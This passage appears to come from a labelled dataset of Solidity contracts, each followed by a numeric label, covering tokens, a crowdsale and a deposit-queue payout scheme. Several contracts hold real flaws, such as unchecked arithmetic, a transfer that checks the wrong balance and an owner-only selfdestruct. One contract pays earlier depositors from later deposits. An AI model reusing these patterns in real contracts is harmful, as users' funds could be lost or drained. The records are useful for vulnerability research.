address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
contract SodaCoin is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
constructor() public {
symbol = "SOC";
name = "SODA Coin";
decimals = 18;
_totalSupply = 2000000000000000000000000000;
balances[0xC713b7c600Bb0e70c2d4b466b923Cab1E45e7c76] = _totalSupply;
emit Transfer(address(0), 0xC713b7c600Bb0e70c2d4b466b923Cab1E45e7c76, _totalSupply);
}
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
function () public payable {
revert();
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
function totalSupplyIncrease(uint256 _supply) public onlyOwner{
_totalSupply = _totalSupply + _supply;
balances[msg.sender] = balances[msg.sender] + _supply;
}
} | 1 | 3,079 |
pragma solidity ^0.4.25;
interface TwelveHourTokenInterface {
function fallback() external payable;
function buy(address _referredBy) external payable returns (uint256);
function exit() external;
}
contract TwelveHourFastTrain {
address public owner;
address public twelveHourTokenAddress;
TwelveHourTokenInterface public TwelveHourToken;
uint256 constant private THT_TOKEN_OWNERS = 10;
address constant private PROMO = 0xC63eA85CC823c440319013d4B30E19b66466642d;
uint constant public PROMO_PERCENT = 1;
uint constant public MULTIPLIER = 120;
uint constant public MAX_DEPOSIT = 1 ether;
uint constant public MIN_DEPOSIT = 0.05 ether;
uint256 constant public VERIFY_REFERRAL_PRICE = 0.01 ether;
uint256 constant public REFERRAL = 3;
uint constant public LAST_DEPOSIT_PERCENT = 10;
LastDeposit public last;
mapping(address => bool) public referrals;
struct Deposit {
address depositor;
uint128 deposit;
uint128 expect;
}
struct LastDeposit {
address depositor;
uint expect;
uint depositTime;
}
Deposit[] public queue;
uint public currentReceiverIndex = 0;
modifier onlyOwner()
{
require(msg.sender == owner);
_;
}
modifier disableContract()
{
require(tx.origin == msg.sender);
_;
}
function setTwelveHourToken(address _addr) public onlyOwner
{
twelveHourTokenAddress = _addr;
TwelveHourToken = TwelveHourTokenInterface(twelveHourTokenAddress);
}
constructor() public
{
owner = msg.sender;
}
function () public payable {
if (msg.sender != twelveHourTokenAddress) invest(0x0);
}
function invest(address _referral) public payable disableContract
{
if(msg.value == 0 && msg.sender == last.depositor) {
require(gasleft() >= 220000, "We require more gas!");
require(last.depositTime + 12 hours < now, "Last depositor should wait 12 hours to claim reward");
uint128 money = uint128((address(this).balance));
if(money >= last.expect){
last.depositor.transfer(last.expect);
} else {
last.depositor.transfer(money);
}
delete last;
}
else if(msg.value > 0){
require(gasleft() >= 220000, "We require more gas!");
require(msg.value >= MIN_DEPOSIT, "Deposit must be >= 0.01 ETH and <= 1 ETH");
uint256 valueDeposit = msg.value;
if(valueDeposit > MAX_DEPOSIT) {
msg.sender.transfer(valueDeposit - MAX_DEPOSIT);
valueDeposit = MAX_DEPOSIT;
}
uint256 _profitTHT = valueDeposit * THT_TOKEN_OWNERS / 100;
sendProfitTHT(_profitTHT);
queue.push(Deposit(msg.sender, uint128(valueDeposit), uint128(valueDeposit*MULTIPLIER/100)));
last.depositor = msg.sender;
last.expect += valueDeposit*LAST_DEPOSIT_PERCENT/100;
last.depositTime = now;
uint promo = valueDeposit*PROMO_PERCENT/100;
PROMO.transfer(promo);
uint devFee = valueDeposit*2/100;
owner.transfer(devFee);
uint256 _referralBonus = valueDeposit * REFERRAL/100;
if (_referral != 0x0 && _referral != msg.sender && referrals[_referral] == true) address(_referral).transfer(_referralBonus);
else owner.transfer(_referralBonus);
pay();
}
}
function pay() private {
uint128 money = uint128((address(this).balance)-last.expect);
for(uint i=0; i<queue.length; i++){
uint idx = currentReceiverIndex + i;
Deposit storage dep = queue[idx];
if(money >= dep.expect){
dep.depositor.transfer(dep.expect);
money -= dep.expect;
delete queue[idx];
}else{
dep.depositor.transfer(money);
dep.expect -= money;
break;
}
if(gasleft() <= 50000)
break;
}
currentReceiverIndex += i;
}
function sendProfitTHT(uint256 profitTHT) private
{
buyTHT(calEthSendToTHT(profitTHT));
exitTHT();
}
function exitTHT() private
{
TwelveHourToken.exit();
}
function calEthSendToTHT(uint256 _eth) private pure returns(uint256 _value)
{
_value = _eth * 100 / 64;
}
function buyTHT(uint256 _value) private
{
TwelveHourToken.fallback.value(_value)();
}
function totalEthereumBalance() public view returns (uint256) {
return address(this).balance;
}
function getDeposit(uint idx) public view returns (address depositor, uint deposit, uint expect){
Deposit storage dep = queue[idx];
return (dep.depositor, dep.deposit, dep.expect);
}
function verifyReferrals() public payable disableContract
{
require(msg.value >= VERIFY_REFERRAL_PRICE);
referrals[msg.sender] = true;
owner.transfer(msg.value);
}
function getDepositByAddress(address depositor) public view returns (uint256 index, uint256 deposit, uint256 expect) {
for(uint i=currentReceiverIndex; i<queue.length; ++i){
Deposit storage dep = queue[i];
if(dep.depositor == depositor){
index = i;
deposit = dep.deposit;
expect = dep.expect;
break;
}
}
}
function getData()public view returns(uint256 _lastDepositBonus, uint256 _endTime, uint256 _currentlyServing, uint256 _queueLength, address _lastAddress) {
_lastDepositBonus = address(this).balance;
_endTime = last.depositTime + 12 hours;
_currentlyServing = currentReceiverIndex;
_queueLength = queue.length;
_lastAddress = last.depositor;
}
} | 0 | 1,201 |
pragma solidity ^0.4.18;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
contract FKX is CappedToken(FKX.TOKEN_SUPPLY) {
using SafeMath for uint256;
string public constant name = "Knoxstertoken";
string public constant symbol = "FKX";
uint8 public constant decimals = 18;
string public constant version = "1.0";
uint256 public constant TOKEN_SUPPLY = 150000000 * (10 ** uint256(decimals));
}
contract FKXTokenTimeLock is Ownable {
address[] public lockIndexes;
struct TokenTimeLockVault {
uint256 amount;
uint256 releaseTime;
uint256 arrayIndex;
}
FKX public token;
mapping(address => TokenTimeLockVault) public tokenLocks;
function FKXTokenTimeLock(FKX _token) public {
token = _token;
}
function lockTokens(address _beneficiary, uint256 _releaseTime, uint256 _tokens) external onlyOwner {
require(_releaseTime > now);
require(_tokens > 0);
TokenTimeLockVault storage lock = tokenLocks[_beneficiary];
lock.amount = _tokens;
lock.releaseTime = _releaseTime;
lock.arrayIndex = lockIndexes.length;
lockIndexes.push(_beneficiary);
LockEvent(_beneficiary, _tokens, _releaseTime);
}
function exists(address _beneficiary) external onlyOwner view returns (bool) {
TokenTimeLockVault memory lock = tokenLocks[_beneficiary];
return lock.amount > 0;
}
function release() public {
TokenTimeLockVault memory lock = tokenLocks[msg.sender];
require(now >= lock.releaseTime);
require(lock.amount > 0);
delete tokenLocks[msg.sender];
lockIndexes[lock.arrayIndex] = 0x0;
UnlockEvent(msg.sender);
assert(token.transfer(msg.sender, lock.amount));
}
function releaseAll(uint from, uint to) external onlyOwner returns (bool) {
require(from >= 0);
require(to <= lockIndexes.length);
for (uint i = from; i < to; i++) {
address beneficiary = lockIndexes[i];
if (beneficiary == 0x0) {
continue;
}
TokenTimeLockVault memory lock = tokenLocks[beneficiary];
if (!(now >= lock.releaseTime && lock.amount > 0)) {
continue;
}
delete tokenLocks[beneficiary];
lockIndexes[lock.arrayIndex] = 0x0;
UnlockEvent(beneficiary);
assert(token.transfer(beneficiary, lock.amount));
}
return true;
}
event LockEvent(address indexed beneficiary, uint256 amount, uint256 releaseTime);
event UnlockEvent(address indexed beneficiary);
}
contract FKXSale is Ownable {
FKX public token;
FKXTokenTimeLock public tokenLock;
function FKXSale() public {
token = new FKX();
tokenLock = new FKXTokenTimeLock(token);
}
function finalize() public onlyOwner {
token.finishMinting();
}
function mintBaseLockedTokens(address beneficiary, uint256 baseTokens, uint256 bonusTokens, uint256 releaseTime) public onlyOwner {
require(beneficiary != 0x0);
require(baseTokens > 0);
require(bonusTokens > 0);
require(releaseTime > now);
require(!tokenLock.exists(beneficiary));
token.mint(beneficiary, baseTokens);
token.mint(tokenLock, bonusTokens);
tokenLock.lockTokens(beneficiary, releaseTime, bonusTokens);
}
function mintLockedTokens(address beneficiary, uint256 tokens, uint256 releaseTime) public onlyOwner {
require(beneficiary != 0x0);
require(tokens > 0);
require(releaseTime > now);
require(!tokenLock.exists(beneficiary));
token.mint(tokenLock, tokens);
tokenLock.lockTokens(beneficiary, releaseTime, tokens);
}
function mintTokens(address beneficiary, uint256 tokens) public onlyOwner {
require(beneficiary != 0x0);
require(tokens > 0);
token.mint(beneficiary, tokens);
}
function releaseAll(uint from, uint to) public onlyOwner returns (bool) {
tokenLock.releaseAll(from, to);
return true;
}
} | 1 | 3,642 |
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function allowance(address _owner, address _spender) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool);
event Transfer (address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping (address => uint256) internal balances;
mapping (address => mapping (address => uint256)) private allowed;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function allowance(address _owner,address _spender) public view returns (uint256){
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from,address _to,uint256 _value)public returns (bool){
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function increaseApproval(address _spender,uint256 _addedValue) public returns (bool){
allowed[msg.sender][_spender] = (allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender,uint256 _subtractedValue) public returns (bool){
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Rate {
using SafeMath for uint;
uint public ETHUSDC;
uint public usCentsPrice;
uint public tokenWeiPrice;
uint public requiredWeiAmount;
uint public requiredDollarAmount;
uint internal percentLimit;
uint[] internal percentLimits = [10, 27, 53, 0];
event LogConstructorInitiated(string nextStep);
event LogPriceUpdated(string price);
event LogNewOraclizeQuery(string description);
function ethersToTokens(uint _ethAmount)
public
view
returns(uint microTokens)
{
uint centsAmount = _ethAmount.mul(ETHUSDC);
return centsToTokens(centsAmount);
}
function centsToTokens(uint _cents)
public
view
returns(uint microTokens)
{
require(_cents > 0);
microTokens = _cents.mul(1000000).div(usCentsPrice);
return microTokens;
}
function tokensToWei(uint _microTokensAmount)
public
view
returns(uint weiAmount) {
uint centsWei = SafeMath.div(1 ether, ETHUSDC);
uint microTokenWeiPrice = centsWei.mul(usCentsPrice).div(10 ** 6);
weiAmount = _microTokensAmount.mul(microTokenWeiPrice);
return weiAmount;
}
function tokensToCents(uint _microTokenAmount)
public
view
returns(uint centsAmount) {
centsAmount = _microTokenAmount.mul(usCentsPrice).div(1000000);
return centsAmount;
}
function stringUpdate(string _rate) internal {
ETHUSDC = getInt(_rate, 0);
uint centsWei = SafeMath.div(1 ether, ETHUSDC);
tokenWeiPrice = usCentsPrice.mul(centsWei);
requiredWeiAmount = requiredDollarAmount.mul(100).mul(1 ether).div(ETHUSDC);
}
function getInt(string _a, uint _b) private pure returns (uint) {
bytes memory bresult = bytes(_a);
uint mint = 0;
bool decimals = false;
for (uint i = 0; i < bresult.length; i++) {
if ((bresult[i] >= 48) && (bresult[i] <= 57)) {
if (decimals) {
if (_b == 0) break;
else _b--;
}
mint *= 10;
mint += uint(bresult[i]) - 48;
} else if (bresult[i] == 46) decimals = true;
}
return mint;
}
}
contract IMPERIVMCoin is StandardToken {
using SafeMath for uint;
string public name = "IMPERIVMCoin";
string public symbol = "IMPC";
uint8 public decimals = 6;
address owner;
constructor(uint _initialSupply) public {
totalSupply_ = _initialSupply * 10 ** uint(decimals);
owner = msg.sender;
balances[owner] = balances[owner].add(totalSupply_);
}
}
contract Ownable {
address public initialOwner;
mapping(address => bool) owners;
event AddOwner(address indexed admin);
event DeleteOwner(address indexed admin);
modifier onlyOwners() {
require(
msg.sender == initialOwner
|| inOwners(msg.sender)
);
_;
}
modifier onlyInitialOwner() {
require(msg.sender == initialOwner);
_;
}
function addOwner(address _wallet) public onlyInitialOwner {
owners[_wallet] = true;
emit AddOwner(_wallet);
}
function deleteOwner(address _wallet) public onlyInitialOwner {
owners[_wallet] = false;
emit DeleteOwner(_wallet);
}
function inOwners(address _wallet)
public
view
returns(bool)
{
if(owners[_wallet]){
return true;
}
return false;
}
}
contract Lifecycle is Ownable, Rate {
enum Stages {
Private,
PreSale,
Sale,
Cancel,
Stopped
}
Stages public previousStage;
Stages public crowdsaleStage;
event ICOStopped(uint timeStamp);
event ICOContinued(uint timeStamp);
event CrowdsaleStarted(uint timeStamp);
event ICOSwitched(uint timeStamp,uint newPrice,uint newRequiredDollarAmount);
modifier appropriateStage() {
require(
crowdsaleStage != Stages.Cancel,
"ICO is finished now"
);
require(
crowdsaleStage != Stages.Stopped,
"ICO is temporary stopped at the moment"
);
_;
}
function stopCrowdsale()
public
onlyOwners
{
require(crowdsaleStage != Stages.Stopped);
previousStage = crowdsaleStage;
crowdsaleStage = Stages.Stopped;
emit ICOStopped(now);
}
function continueCrowdsale()
public
onlyOwners
{
require(crowdsaleStage == Stages.Stopped);
crowdsaleStage = previousStage;
previousStage = Stages.Stopped;
emit ICOContinued(now);
}
function nextStage(
uint _cents,
uint _requiredDollarAmount
)
public
onlyOwners
appropriateStage
{
crowdsaleStage = Stages(uint(crowdsaleStage)+1);
setUpConditions( _cents, _requiredDollarAmount);
emit ICOSwitched(now,_cents,_requiredDollarAmount);
}
function setUpConditions(
uint _cents,
uint _requiredDollarAmount
)
internal
{
require(_cents > 0);
require(_requiredDollarAmount > 0);
percentLimit = percentLimits[ uint(crowdsaleStage) ];
usCentsPrice = _cents;
requiredDollarAmount = _requiredDollarAmount;
}
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256) {
if (_a == 0) {
return 0;
}
uint256 c = _a * _b;
require(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b > 0);
uint256 c = _a / _b;
return c;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
require(_b <= _a);
uint256 c = _a - _b;
return c;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256) {
uint256 c = _a + _b;
require(c >= _a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Verification is Ownable {
event AddBuyer(address indexed buyer);
event DeleteBuyer(address indexed buyer, bool indexed success);
mapping(address => bool) public approvedBuyers;
function addBuyer(address _buyer)
public
onlyOwners
returns(bool success)
{
approvedBuyers[_buyer] = true;
emit AddBuyer(_buyer);
return true;
}
function deleteBuyer(address _buyer)
public
onlyOwners
returns(bool success)
{
if (approvedBuyers[_buyer]) {
delete approvedBuyers[_buyer];
emit DeleteBuyer(_buyer, true);
return true;
} else {
emit DeleteBuyer(_buyer, false);
return false;
}
}
function getBuyer(address _buyer) public view returns(bool success){
if (approvedBuyers[_buyer]){
return true;
}
return false;
}
}
contract IMPCrowdsale is Lifecycle, Verification {
using SafeMath for uint;
IMPERIVMCoin public token;
uint public weiRaised;
uint public totalSold;
uint lastTimeStamp;
event TokenPurchase(
address indexed purchaser,
uint value,
uint amount
);
event StringUpdate(string rate);
event ManualTransfer(address indexed to, uint indexed value);
constructor(
IMPERIVMCoin _token,
uint _cents,
uint _requiredDollarAmount
)
public
{
require(_token != address(0));
token = _token;
initialOwner = msg.sender;
setUpConditions( _cents, _requiredDollarAmount);
crowdsaleStage = Stages.Sale;
}
function () public payable {
initialOwner.transfer(msg.value);
}
function buyTokens()
public
payable
appropriateStage
{
require(approvedBuyers[msg.sender]);
require(totalSold <= token.totalSupply().div(100).mul(percentLimit));
uint weiAmount = msg.value;
_preValidatePurchase(weiAmount);
uint tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(tokens);
emit TokenPurchase(
msg.sender,
weiAmount,
tokens
);
_forwardFunds();
_postValidatePurchase(tokens);
}
function stringCourse(string _rate) public payable onlyOwners {
stringUpdate(_rate);
lastTimeStamp = now;
emit StringUpdate(_rate);
}
function manualTokenTransfer(address _to, uint _value)
public
onlyOwners
returns(bool success)
{
if(approvedBuyers[_to]) {
totalSold = totalSold.add(_value);
token.transferFrom(initialOwner, _to, _value);
emit ManualTransfer(_to, _value);
return true;
} else {
return false;
}
}
function _preValidatePurchase(uint _weiAmount)
internal
view
{
require(
_weiAmount >= requiredWeiAmount,
"Your investment funds are less than minimum allowable amount for tokens buying"
);
}
function _postValidatePurchase(uint _tokensAmount)
internal
{
totalSold = totalSold.add(_tokensAmount);
}
function _getTokenAmount(uint _weiAmount)
internal
view
returns (uint)
{
uint centsWei = SafeMath.div(1 ether, ETHUSDC);
uint microTokenWeiPrice = centsWei.mul(usCentsPrice).div(10 ** uint(token.decimals()));
uint amountTokensForInvestor = _weiAmount.div(microTokenWeiPrice);
return amountTokensForInvestor;
}
function _deliverTokens(uint _tokenAmount) internal {
token.transferFrom(initialOwner, msg.sender, _tokenAmount);
}
function _processPurchase(uint _tokenAmount) internal {
_deliverTokens(_tokenAmount);
}
function _forwardFunds() internal {
initialOwner.transfer(msg.value);
}
function destroy() public onlyInitialOwner {
selfdestruct(this);
}
} | 1 | 3,101 |
pragma solidity ^0.4.25;
interface Snip3DInterface {
function() payable external;
function offerAsSacrifice(address MN)
external
payable
;
function withdraw()
external
;
function myEarnings()
external
view
returns(uint256);
function tryFinalizeStage()
external;
function sendInSoldier(address masternode) external payable;
function fetchdivs(address toupdate) external;
function shootSemiRandom() external;
}
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
constructor() public {
owner = 0x0B0eFad4aE088a88fFDC50BCe5Fb63c6936b9220;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
owner = _newOwner;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function sub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function mul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function div(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
contract Slaughter3D is Owned {
using SafeMath for uint;
Snip3DInterface constant Snip3Dcontract_ = Snip3DInterface(0xb172BB8BAae74F27Ade3211E0c145388d3b4f8d8);
uint256 public toSlaughter;
function harvestableBalance()
view
public
returns(uint256)
{
uint256 toReturn = address(this).balance.sub(toSlaughter);
return ( toReturn) ;
}
function unfetchedVault()
view
public
returns(uint256)
{
return ( Snip3Dcontract_.myEarnings()) ;
}
function sacUp () public payable {
toSlaughter = toSlaughter.add(msg.value);
}
function sacUpto (address masternode) public {
require(toSlaughter> 0.1 ether);
toSlaughter = toSlaughter.sub(0.1 ether);
Snip3Dcontract_.offerAsSacrifice.value(0.1 ether)(masternode);
}
function validate () public {
Snip3Dcontract_.tryFinalizeStage();
}
function fetchvault () public {
Snip3Dcontract_.withdraw();
}
function fetchBalance () onlyOwner public {
uint256 tosend = address(this).balance.sub(toSlaughter);
msg.sender.transfer(tosend);
}
function () external payable{}
} | 1 | 2,134 |
pragma solidity ^0.4.18;
contract owned {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function owned() public {
owner = msg.sender;
}
function changeOwner(address newOwner) onlyOwner public {
owner = newOwner;
}
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
}
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Utils {
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
}
contract GraphenePowerToken is owned,Utils{
string public standard = 'Token 0.1';
string public name = 'Graphene Power';
string public symbol = 'GRP';
uint8 public decimals = 18;
uint256 _totalSupply =0;
uint preSaleStart=1513771200;
uint preSaleEnd=1515585600;
uint256 preSaleTotalTokens=30000000;
uint256 preSaleTokenCost=6000;
address preSaleAddress;
bool enablePreSale=false;
uint icoStart;
uint256 icoSaleTotalTokens=400000000;
address icoAddress;
bool enableIco=false;
uint256 advisersConsultantTokens=15000000;
address advisersConsultantsAddress;
uint256 bountyTokens=15000000;
address bountyAddress;
uint256 founderTokens=40000000;
address founderAddress;
address public wallet;
bool enableMintTokens=true;
bool public transfersEnabled = false;
mapping (address => uint256) balanceOf;
mapping (address => mapping (address => uint256)) allowed;
event Transfer(address from, address to, uint256 value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Destruction(uint256 _amount);
event Burn(address indexed from, uint256 value);
event Issuance(uint256 _amount);
function GraphenePowerToken() public{
preSaleAddress=0xC07850969A0EC345A84289f9C5bb5F979f27110f;
icoAddress=0x1C21Cf57BF4e2dd28883eE68C03a9725056D29F1;
advisersConsultantsAddress=0xe8B6dA1B801b7F57e3061C1c53a011b31C9315C7;
bountyAddress=0xD53E82Aea770feED8e57433D3D61674caEC1D1Be;
founderAddress=0xDA0D3Dad39165EA2d7386f18F96664Ee2e9FD8db;
_totalSupply =500000000;
balanceOf[this]=_totalSupply;
}
modifier transfersAllowed {
assert(transfersEnabled);
_;
}
modifier validAddress(address _address) {
require(_address != 0x0);
_;
}
modifier notThis(address _address) {
require(_address != address(this));
_;
}
function() payable public {
require(msg.value>0);
buyTokens(msg.sender);
}
function buyTokens(address beneficiary) payable public {
require(beneficiary != 0x0);
uint256 weiAmount;
uint256 tokens;
wallet=owner;
if(isPreSale()){
wallet=preSaleAddress;
weiAmount=6000;
}
else if(isIco()){
wallet=icoAddress;
if((icoStart+(7*24*60*60)) >= now){
weiAmount=4000;
}
else if((icoStart+(14*24*60*60)) >= now){
weiAmount=3750;
}
else if((icoStart+(21*24*60*60)) >= now){
weiAmount=3500;
}
else if((icoStart+(28*24*60*60)) >= now){
weiAmount=3250;
}
else if((icoStart+(35*24*60*60)) >= now){
weiAmount=3000;
}
else{
weiAmount=2000;
}
}
else{
weiAmount=6000;
}
forwardFunds();
tokens=msg.value*weiAmount/1000000000000000000;
mintToken(beneficiary, tokens);
Transfer(this, beneficiary, tokens);
}
function forwardFunds() internal {
wallet.transfer(msg.value);
}
function getTokensForGraphenePower() onlyOwner public returns(bool result){
require(enableMintTokens);
mintToken(bountyAddress, bountyTokens);
Transfer(this, bountyAddress, bountyTokens);
mintToken(founderAddress, founderTokens);
Transfer(this, founderAddress, founderTokens);
mintToken(advisersConsultantsAddress, advisersConsultantTokens);
Transfer(this, advisersConsultantsAddress, advisersConsultantTokens);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function transfer(address _to, uint256 _value) transfersAllowed public returns (bool success) {
require(balanceOf[_to] >= _value);
balanceOf[msg.sender] = (balanceOf[msg.sender] -_value);
balanceOf[_to] =(balanceOf[_to] + _value);
Transfer(msg.sender, _to, _value);
return true;
}
function mintToken(address target, uint256 mintedAmount) onlyOwner public returns(bool result) {
if(enableMintTokens){
balanceOf[target] += mintedAmount;
_totalSupply =(_totalSupply-mintedAmount);
Transfer(this, target, mintedAmount);
return true;
}
else{
return false;
}
}
function approve(address _spender, uint256 _value) public returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) transfersAllowed public returns (bool success) {
require(transfersEnabled);
require(balanceOf[_from] >= _value);
require(_value <= allowed[_from][msg.sender]);
balanceOf[_from] = (balanceOf[_from] - _value);
balanceOf[_to] = (balanceOf[_to] + _value);
allowed[_from][msg.sender] = (allowed[_from][msg.sender] - _value);
Transfer(_from, _to, _value);
return true;
}
function issue(address _to, uint256 _amount) public onlyOwner validAddress(_to) notThis(_to) {
_totalSupply = (_totalSupply - _amount);
